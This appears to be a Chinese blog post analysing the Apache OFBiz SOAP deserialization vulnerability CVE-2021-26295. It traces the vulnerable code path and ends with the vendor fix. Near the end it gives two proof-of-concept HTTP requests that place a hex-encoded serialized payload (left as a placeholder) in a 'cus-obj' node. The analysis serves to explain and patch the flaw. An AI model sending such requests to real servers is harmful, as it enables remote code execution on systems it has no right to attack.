zoukankan      html  css  js  c++  java
  • Apache Ofbiz反序列化(CVE-2021-26295)分析

    Web路由

    <!-- frameworkwebtoolswebappwebtoolsWEB-INFweb.xml --><servlet>
        <description>Main Control Servlet</description>
        <display-name>ControlServlet</display-name>
        <servlet-name>ControlServlet</servlet-name>
        <servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>
        <load-on-startup>1</load-on-startup></servlet><servlet-mapping>
        <servlet-name>ControlServlet</servlet-name>
        <url-pattern>/control/*</url-pattern></servlet-mapping>
    

    根据以往的CVE-2020-9496漏洞分析可知,ControlServlet中调用了getRequestHandler,跟进getRequestHandler来到RequestHandler,关键代码如下

    this.controllerConfigURL = ConfigXMLReader.getControllerConfigURL(context);
    
    public static URL getControllerConfigURL(ServletContext context) {
    	try {
    		return context.getResource(controllerXmlFileName);
    	} catch (MalformedURLException e) {
    		Debug.logError(e, "Error Finding XML Config File: " + controllerXmlFileName, module);
    		return null;
    	}
    }
    

    其中controllerXmlFileName为/WEB-INF/controller.xml
    在./framework/webtools/webapp/webtools/WEB-INF/controller.xml中看到soap类型的uri为SOAPService,SOAPService为本次漏洞的入口

    知道controllerConfigURL后,回到RequestHandler,发现一个工厂类

    this.eventFactory = new EventFactory(context, this.controllerConfigURL);
    

    主要作用是实例化相关的EventHandler

    然后ControlServlet又调用了RequestHandler.doRequest方法处理请求,部分代码如下:

    try {
    	// the ServerHitBin call for the event is done inside the doRequest method
    	requestHandler.doRequest(request, response, null, userLogin, delegator);
    } 
    

    详细的路由分析可参考CVE-2020-9496漏洞的分析文章

    漏洞分析

    本次漏洞入口SOAPService的EventHandler为SOAPEventHandler。不难发现SOAPEventHandler.invoke用来处理我们提交的soap消息,下面对其进行分析

    org.apache.ofbiz.webapp.event.SOAPEventHandler调用了SoapSerializer.deserialize(第177行)

    SOAPBody reqBody = reqEnv.getBody();    //获取参数
    validateSOAPBody(reqBody);              //验证参数
    OMElement serviceElement = reqBody.getFirstElement();
    serviceName = serviceElement.getLocalName();    //Envelope
    Map<String, Object> parameters = UtilGenerics.cast(SoapSerializer.deserialize(serviceElement.toString(), delegator));
    

    跟进SoapSerializer.deserialize发现调用了XmlSerializer.deserialize,跟进该方法获取soap请求Body子节点后又调用了deserializeSingle解析xml。在deserializeSingle中发现可以构造特殊的soap请求进入deserializeCustom()
    部分代码如下

      public static Object deserializeSingle(Element element, Delegator delegator) throws SerializeException {
        String tagName = element.getLocalName();
        if ("null".equals(tagName))
          return null; 
        if (tagName.startsWith("std-")) {
          if ("std-String".equals(tagName))
            return element.getAttribute("value"); 
          if ("std-Integer".equals(tagName)) {
            String valStr = element.getAttribute("value");
            return Integer.valueOf(valStr);
          } 
          if ("std-Long".equals(tagName)) {
            String valStr = element.getAttribute("value");
            return Long.valueOf(valStr);
          } 
          if ("std-Float".equals(tagName)) {
            String valStr = element.getAttribute("value");
            return Float.valueOf(valStr);
          } 
          if ("std-Double".equals(tagName)) {
            String valStr = element.getAttribute("value");
            return Double.valueOf(valStr);
          } 
          if ("std-BigDecimal".equals(tagName)) {
            String valStr = element.getAttribute("value");
            return new BigDecimal(valStr);
          } 
          if ("std-Boolean".equals(tagName)) {
            String valStr = element.getAttribute("value");
            return Boolean.valueOf(valStr);
          } 
          if ("std-Locale".equals(tagName)) {
            String valStr = element.getAttribute("value");
            return UtilMisc.parseLocale(valStr);
          } 
          if ("std-Date".equals(tagName)) {
            String valStr = element.getAttribute("value");
            DateFormat formatter = getDateFormat();
            Date value = null;
            try {
              synchronized (formatter) {
                value = formatter.parse(valStr);
              } 
            } catch (ParseException e) {
              throw new SerializeException("Could not parse date String: " + valStr, e);
            } 
            return value;
          } 
        } else if (tagName.startsWith("sql-")) {
          if ("sql-Timestamp".equals(tagName)) {
            String valStr = element.getAttribute("value");
            try {
              Calendar cal = DatatypeConverter.parseDate(valStr);
              return new Timestamp(cal.getTimeInMillis());
            } catch (Exception e) {
              Debug.logWarning("sql-Timestamp does not conform to XML Schema definition, try java.sql.Timestamp format", module);
              return Timestamp.valueOf(valStr);
            } 
          } 
          if ("sql-Date".equals(tagName)) {
            String valStr = element.getAttribute("value");
            return Date.valueOf(valStr);
          } 
          if ("sql-Time".equals(tagName)) {
            String valStr = element.getAttribute("value");
            return Time.valueOf(valStr);
          } 
        } else {
          if (tagName.startsWith("col-")) {
            Collection<Object> value = null;
            if ("col-ArrayList".equals(tagName)) {
              value = new ArrayList();
            } else if ("col-LinkedList".equals(tagName)) {
              value = new LinkedList();
            } else if ("col-Stack".equals(tagName)) {
              value = new Stack();
            } else if ("col-Vector".equals(tagName)) {
              value = new Vector();
            } else if ("col-TreeSet".equals(tagName)) {
              value = new TreeSet();
            } else if ("col-HashSet".equals(tagName)) {
              value = new HashSet();
            } else if ("col-Collection".equals(tagName)) {
              value = new LinkedList();
            } 
            if (value == null)
              return deserializeCustom(element); 
            Node curChild = element.getFirstChild();
            while (curChild != null) {
              if (curChild.getNodeType() == 1)
                value.add(deserializeSingle((Element)curChild, delegator)); 
              curChild = curChild.getNextSibling();
            } 
            return value;
          } 
          if (tagName.startsWith("map-")) {
            Map<Object, Object> value = null;
            if ("map-HashMap".equals(tagName)) {
              value = new HashMap<>();
            } else if ("map-Properties".equals(tagName)) {
              value = new Properties();
            } else if ("map-Hashtable".equals(tagName)) {
              value = new Hashtable<>();
            } else if ("map-WeakHashMap".equals(tagName)) {
              value = new WeakHashMap<>();
            } else if ("map-TreeMap".equals(tagName)) {
              value = new TreeMap<>();
            } else if ("map-Map".equals(tagName)) {
              value = new HashMap<>();
            } 
            if (value == null)
              return deserializeCustom(element); 
            Node curChild = element.getFirstChild();
            while (curChild != null) {
              if (curChild.getNodeType() == 1) {
                Element curElement = (Element)curChild;
                if ("map-Entry".equals(curElement.getLocalName())) {
                  Element mapKeyElement = UtilXml.firstChildElement(curElement, "map-Key");
                  Element keyElement = null;
                  Node tempNode = mapKeyElement.getFirstChild();
                  while (tempNode != null) {
                    if (tempNode.getNodeType() == 1) {
                      keyElement = (Element)tempNode;
                      break;
                    } 
                    tempNode = tempNode.getNextSibling();
                  } 
                  if (keyElement == null)
                    throw new SerializeException("Could not find an element under the map-Key"); 
                  Element mapValueElement = UtilXml.firstChildElement(curElement, "map-Value");
                  Element valueElement = null;
                  tempNode = mapValueElement.getFirstChild();
                  while (tempNode != null) {
                    if (tempNode.getNodeType() == 1) {
                      valueElement = (Element)tempNode;
                      break;
                    } 
                    tempNode = tempNode.getNextSibling();
                  } 
                  if (valueElement == null)
                    throw new SerializeException("Could not find an element under the map-Value"); 
                  value.put(deserializeSingle(keyElement, delegator), deserializeSingle(valueElement, delegator));
                } 
              } 
              curChild = curChild.getNextSibling();
            } 
            return value;
          } 
          if (tagName.startsWith("eepk-"))
            return delegator.makePK(element); 
          if (tagName.startsWith("eeval-"))
            return delegator.makeValue(element); 
        } 
        return deserializeCustom(element);       //这里是反序列化相关操作
      }
    

    org.apache.ofbiz.entity.serialize.XmlSerializer中468行的deserializeCustom()方法

    public static Object deserializeCustom(Element element) throws SerializeException {
    String tagName = element.getLocalName();
    if ("cus-obj".equals(tagName)) {
    	String value = UtilXml.elementValue(element);
    	if (value != null) {
    	byte[] valueBytes = StringUtil.fromHexString(value);
    	if (valueBytes != null) {
    		Object obj = UtilObject.getObject(valueBytes);
    		if (obj != null)
    		return obj; 
    	} 
    	} 
    	throw new SerializeException("Problem deserializing object from byte array + " + element.getLocalName());
    } 
    throw new SerializeException("Cannot deserialize element named " + element.getLocalName());
    }
    

    如果tag标签为cus-obj则获取标签内容,从16进制转为字符串,最后调用getObject方法。跟进getObject发现又调用了 getObjectException(),继续跟进漏洞就很明显了

    public static Object getObjectException(byte[] bytes) throws ClassNotFoundException, IOException {
    try(ByteArrayInputStream bis = new ByteArrayInputStream(bytes); 
    	SafeObjectInputStream wois = new SafeObjectInputStream(bis)) {
    	return wois.readObject();
    } 
    }
    

    构造POC

    soap请求基本格式为

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/>
    <soapenv:Body>
        
    </soapenv:Body></soapenv:Envelope>
    
    1. 解析xml的时候首先获取了Body的子节点,因此我们在Body下添加一个任意的节点。
    2. 从deserializeSingle进入反序列化可以直接构造节点不满足所有if条件,直接执行最后的deserializeCustom。
    3. deserializeCustom中将cus-obj节点的内容从16进制转为字符串,因此我们的payload要转成16进制。

    PS:网上公开的方式都是满足从394行开始的if条件,即子节点下第一个子节点必须要map-开头并且为提供的那几个字符串,让value不为空,map-下的子节点必须为map-Entry,map-Entry下的子节点必须为map-Key和map-Value,然后可以执行到第453行再次进入deserializeSingle,这时候由于不满足所有if条件而调用deserializeCustom执行反序列化。这种方式感觉有些多余了。

    因此可构造poc:

    POST /webtools/control/SOAPService HTTP/1.1
    Host: 192.168.247.131:8443
    Connection: close
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
    Sec-Fetch-Dest: document
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: JSESSIONID=25A5A7DB751238C098AE02303C854435.jvm1; OFBiz.Visitor=10000
    Content-Length: 767
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/>
    <soapenv:Body>
         <test>
            <cus-obj>[hex(payload)]</cus-obj>
         </test>
    </soapenv:Body></soapenv:Envelope>
    

    网上公开的poc为:

    POST /webtools/control/SOAPService HTTP/1.1
    Host: 192.168.247.131:8443
    Connection: close
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
    Sec-Fetch-Dest: document
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: JSESSIONID=25A5A7DB751238C098AE02303C854435.jvm1; OFBiz.Visitor=10000
    Content-Length: 767
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/>
    <soapenv:Body>
         <test>
         <map-HashMap>
         <map-Entry>
          <map-Key>  <cus-obj>[hex(payload)]</cus-obj>
          </map-Key>
         <map-Value>
           <std-String value="testtest"/>
         </map-Value>
         </map-Entry>
         </map-HashMap>
        </test>
    </soapenv:Body></soapenv:Envelope>
    

    总结起来就是给SOAPService接口的请求消息中,构造特定的节点可执行反序列化

    漏洞修复

    官方修复补丁是在SafeObjectInputStream类的resolveClass方法中增加黑名单判断对象是否安全,resolveClass是在readObject中调用。

    漏洞补丁:
    https://github.com/apache/ofbiz-framework/commit/af9ed4e/

  • 相关阅读:
    KVC与KVO的进阶使用
    Qt之图形视图框架
    Qt之QRoundProgressBar(圆形进度条)
    Qt之绘制闪烁文本
    Qt之QCustomPlot(图形库)
    Qt之事件系统
    iOS 保持界面流畅的技巧
    iOS开发数据库SQLite的使用
    Qt之保持GUI响应
    Qt之QSS(QDarkStyleSheet)
  • 原文地址:https://www.cnblogs.com/g0udan/p/14574711.html
Copyright © 2011-2022 走看看